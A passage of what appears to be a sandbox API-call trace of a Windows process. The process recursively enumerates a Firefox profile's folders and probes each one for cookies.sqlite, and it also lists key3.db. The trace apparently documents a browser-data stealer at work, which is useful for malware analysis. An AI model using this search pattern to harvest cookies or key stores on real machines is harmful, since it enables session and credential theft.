dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4466460 [0110.633] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a91840 | out: lpFindFileData=0x9a91840*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x419e01a0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x419e01a0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x419e01a0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0110.633] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0110.633] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a91840 | out: lpFindFileData=0x9a91840*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x419e01a0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x419e01a0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x419e01a0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".metadata", cAlternateFileName="METADA~1")) returned 1 [0110.633] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0110.633] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a91840 | out: lpFindFileData=0x9a91840*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x419e01a0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0xf3241640, ftLastAccessTime.dwHighDateTime=0x1d30616, ftLastWriteTime.dwLowDateTime=0xf3241640, ftLastWriteTime.dwHighDateTime=0x1d30616, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="idb", cAlternateFileName="")) returned 1 [0110.633] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0110.633] lstrlenW (lpString="idb") returned 3 [0110.633] PathCombineW (in: pszDest=0x9a91b80, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\indexedDB\\moz-safe-about+home", pszFile="idb" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\indexedDB\\moz-safe-about+home\\idb") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\indexedDB\\moz-safe-about+home\\idb" [0110.633] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x250) returned 0x9a91d90 [0110.633] ExpandEnvironmentStringsW (in: lpSrc="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\indexedDB\\moz-safe-about+home\\idb", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x6e [0110.633] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xdc) returned 0x9a91ff0 [0110.633] ExpandEnvironmentStringsW (in: lpSrc="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\indexedDB\\moz-safe-about+home\\idb", lpDst=0x9a91ff0, nSize=0x6e | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\indexedDB\\moz-safe-about+home\\idb") returned 0x6e [0110.633] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\indexedDB\\moz-safe-about+home\\idb") returned 109 [0110.633] lstrlenW (lpString="cookies.sqlite") returned 14 [0110.633] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9a920e0 [0110.633] PathCombineW (in: pszDest=0x9a920e0, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\indexedDB\\moz-safe-about+home\\idb", pszFile="cookies.sqlite" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\indexedDB\\moz-safe-about+home\\idb\\cookies.sqlite") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\indexedDB\\moz-safe-about+home\\idb\\cookies.sqlite" [0110.633] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\indexedDB\\moz-safe-about+home\\idb\\cookies.sqlite", lpFindFileData=0x9a91d90 | out: lpFindFileData=0x9a91d90*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="AppDAppData")) returned 0xffffffffffffffff [0110.633] PathCombineW (in: pszDest=0x9a920e0, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\indexedDB\\moz-safe-about+home\\idb", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\indexedDB\\moz-safe-about+home\\idb\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\indexedDB\\moz-safe-about+home\\idb\\*" [0110.633] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\indexedDB\\moz-safe-about+home\\idb\\*", lpFindFileData=0x9a91d90 | out: lpFindFileData=0x9a91d90*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x419e01a0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0xf3241640, ftLastAccessTime.dwHighDateTime=0x1d30616, ftLastWriteTime.dwLowDateTime=0xf3241640, ftLastWriteTime.dwHighDateTime=0x1d30616, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4466940 [0110.634] FindNextFileW (in: hFindFile=0x4466940, lpFindFileData=0x9a91d90 | out: lpFindFileData=0x9a91d90*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x419e01a0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0xf3241640, ftLastAccessTime.dwHighDateTime=0x1d30616, ftLastWriteTime.dwLowDateTime=0xf3241640, ftLastWriteTime.dwHighDateTime=0x1d30616, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0110.634] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0110.634] FindNextFileW (in: hFindFile=0x4466940, lpFindFileData=0x9a91d90 | out: lpFindFileData=0x9a91d90*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x41c417a0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x41c417a0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x41c417a0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="818200132aebmoouht", cAlternateFileName="818200~1")) returned 1 [0110.634] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0110.634] lstrlenW (lpString="818200132aebmoouht") returned 18 [0110.634] PathCombineW (in: pszDest=0x9a920e0, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\indexedDB\\moz-safe-about+home\\idb", pszFile="818200132aebmoouht" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht" [0110.634] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x250) returned 0x9a922f0 [0110.634] ExpandEnvironmentStringsW (in: lpSrc="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x81 [0110.634] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x102) returned 0x9a92550 [0110.634] ExpandEnvironmentStringsW (in: lpSrc="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht", lpDst=0x9a92550, nSize=0x81 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht") returned 0x81 [0110.634] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht") returned 128 [0110.634] lstrlenW (lpString="cookies.sqlite") returned 14 [0110.634] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9a92660 [0110.634] PathCombineW (in: pszDest=0x9a92660, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht", pszFile="cookies.sqlite" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht\\cookies.sqlite") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht\\cookies.sqlite" [0110.634] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht\\cookies.sqlite", lpFindFileData=0x9a922f0 | out: lpFindFileData=0x9a922f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0110.634] PathCombineW (in: pszDest=0x9a92660, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht\\*" [0110.634] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht\\*", lpFindFileData=0x9a922f0 | out: lpFindFileData=0x9a922f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x41c417a0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x41c417a0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x41c417a0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4466d00 [0110.634] FindNextFileW (in: hFindFile=0x4466d00, lpFindFileData=0x9a922f0 | out: lpFindFileData=0x9a922f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x41c417a0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x41c417a0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x41c417a0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0110.634] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0110.634] FindNextFileW (in: hFindFile=0x4466d00, lpFindFileData=0x9a922f0 | out: lpFindFileData=0x9a922f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x41c417a0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x41c417a0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x41c417a0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0110.634] FindClose (in: hFindFile=0x4466d00 | out: hFindFile=0x4466d00) returned 1 [0110.634] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a92660 | out: hHeap=0x9770000) returned 1 [0110.635] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a92550 | out: hHeap=0x9770000) returned 1 [0110.635] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a922f0 | out: hHeap=0x9770000) returned 1 [0110.635] FindNextFileW (in: hFindFile=0x4466940, lpFindFileData=0x9a91d90 | out: lpFindFileData=0x9a91d90*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x419e01a0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x419e01a0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0xf2da4ba0, ftLastWriteTime.dwHighDateTime=0x1d30616, nFileSizeHigh=0x0, nFileSizeLow=0x258000, dwReserved0=0x0, dwReserved1=0x0, cFileName="818200132aebmoouht.sqlite", cAlternateFileName="818200~1.SQL")) returned 1 [0110.635] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0110.635] FindNextFileW (in: hFindFile=0x4466940, lpFindFileData=0x9a91d90 | out: lpFindFileData=0x9a91d90*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x419e01a0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x419e01a0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0xf2da4ba0, ftLastWriteTime.dwHighDateTime=0x1d30616, nFileSizeHigh=0x0, nFileSizeLow=0x258000, dwReserved0=0x0, dwReserved1=0x0, cFileName="818200132aebmoouht.sqlite", cAlternateFileName="818200~1.SQL")) returned 0 [0110.635] FindClose (in: hFindFile=0x4466940 | out: hFindFile=0x4466940) returned 1 [0110.635] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a920e0 | out: hHeap=0x9770000) returned 1 [0110.635] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a91ff0 | out: hHeap=0x9770000) returned 1 [0110.635] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a91d90 | out: hHeap=0x9770000) returned 1 [0110.635] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a91840 | out: lpFindFileData=0x9a91840*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x419e01a0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0xf3241640, ftLastAccessTime.dwHighDateTime=0x1d30616, ftLastWriteTime.dwLowDateTime=0xf3241640, ftLastWriteTime.dwHighDateTime=0x1d30616, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="idb", cAlternateFileName="")) returned 0 [0110.635] FindClose (in: hFindFile=0x4466460 | out: hFindFile=0x4466460) returned 1 [0110.635] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a91b80 | out: hHeap=0x9770000) returned 1 [0110.635] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a91aa0 | out: hHeap=0x9770000) returned 1 [0110.635] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a91840 | out: hHeap=0x9770000) returned 1 [0110.635] FindNextFileW (in: hFindFile=0x4466580, lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x419e01a0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x419e01a0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x419e01a0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="moz-safe-about+home", cAlternateFileName="MOZ-SA~1")) returned 0 [0110.635] FindClose (in: hFindFile=0x4466580 | out: hFindFile=0x4466580) returned 1 [0110.635] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e540 | out: hHeap=0x9770000) returned 1 [0110.635] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e480 | out: hHeap=0x9770000) returned 1 [0110.635] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e220 | out: hHeap=0x9770000) returned 1 [0110.635] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9b6fc10 | out: lpFindFileData=0x9b6fc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f0f6780, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x3f0f6780, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0xf441bb40, ftLastWriteTime.dwHighDateTime=0x1d30616, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="key3.db", cAlternateFileName="")) returned 1 [0110.635] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0110.635] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9b6fc10 | out: lpFindFileData=0x9b6fc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf340a6c0, ftCreationTime.dwHighDateTime=0x1d30616, ftLastAccessTime.dwLowDateTime=0xf340a6c0, ftLastAccessTime.dwHighDateTime=0x1d30616, ftLastWriteTime.dwLowDateTime=0xf34eef00, ftLastWriteTime.dwHighDateTime=0x1d30616, nFileSizeHigh=0x0, nFileSizeLow=0x4fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="localstore.rdf", cAlternateFileName="LOCALS~1.RDF")) returned 1 [0110.635] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0110.635] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9b6fc10 | out: lpFindFileData=0x9b6fc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x41993ee0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x41993ee0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0xe8878fe0, ftLastWriteTime.dwHighDateTime=0x1d51ed4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="marionette.log", cAlternateFileName="MARION~1.LOG")) returned 1 [0110.635] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0110.635] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9b6fc10 | out: lpFindFileData=0x9b6fc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f75c2a0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x3f81a980, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x3f81a980, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0xef3, dwReserved0=0x0, dwReserved1=0x0, cFileName="mimeTypes.rdf", cAlternateFileName="MIMETY~1.RDF")) returned 1 [0110.635] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0110.635] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9b6fc10 | out: lpFindFileData=0x9b6fc10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3cfa0c70, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x3cfa0c70, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x3cfa0c70, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="minidumps", cAlternateFileName="MINIDU~1")) returned 1 [0110.636] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0110.636] lstrlenW (lpString="minidumps") returned 9 [0110.636] PathCombineW (in: pszDest=0x9a6e010, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default", pszFile="minidumps" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\minidumps") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\minidumps" [0110.636] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x250) returned 0x9a6e220 [0110.636] ExpandEnvironmentStringsW (in: lpSrc="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\minidumps", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x56 [0110.636] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xac) returned 0x9a6e480 [0110.636] ExpandEnvironmentStringsW (in: lpSrc="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\minidumps", lpDst=0x9a6e480, nSize=0x56 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\minidumps") returned 0x56 [0110.636] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\minidumps") returned 85 [0110.636] lstrlenW (lpString="cookies.sqlite") returned 14 [0110.636] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9a6e540 [0110.636] PathCombineW (in: pszDest=0x9a6e540, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\minidumps", pszFile="cookies.sqlite" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\minidumps\\cookies.sqlite") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\minidumps\\cookies.sqlite" [0110.636] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\minidumps\\cookies.sqlite", lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="MOZ-SA~1")) returned 0xffffffffffffffff [0110.636] PathCombineW (in: pszDest=0x9a6e540, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\minidumps", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\minidumps\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\minidumps\\*" [0110.636] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\minidumps\\*", lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3cfa0c70, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x3cfa0c70, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x3cfa0c70, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4466580 [0110.636] FindNextFileW (in: hFindFile=0x4466580, lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3cfa0c70, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x3cfa0c70, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x3cfa0c70, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0110.636] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0110.636] FindNextFileW (in: hFindFile=0x4466580, lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3cfa0c70, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x3cfa0c70, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x3cfa0c70, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0110.636] FindClose (in: hFindFile=0x4466580 | out: hFindFile=0x4466580) returned 1 [0110.636] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e540 | out: hHeap=0x9770000) returned 1 [0110.636] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e480 | out: hHeap=0x9770000) returned 1 [0110.636] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e220 | out: hHeap=0x9770000) returned 1 [0110.636] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9b6fc10 | out: lpFindFileData=0x9b6fc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cfa0c70, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x3cfa0c70, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0xdda0b2f0, ftLastWriteTime.dwHighDateTime=0x1d51ed4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="parent.lock", cAlternateFileName="PARENT~1.LOC")) returned 1 [0110.636] 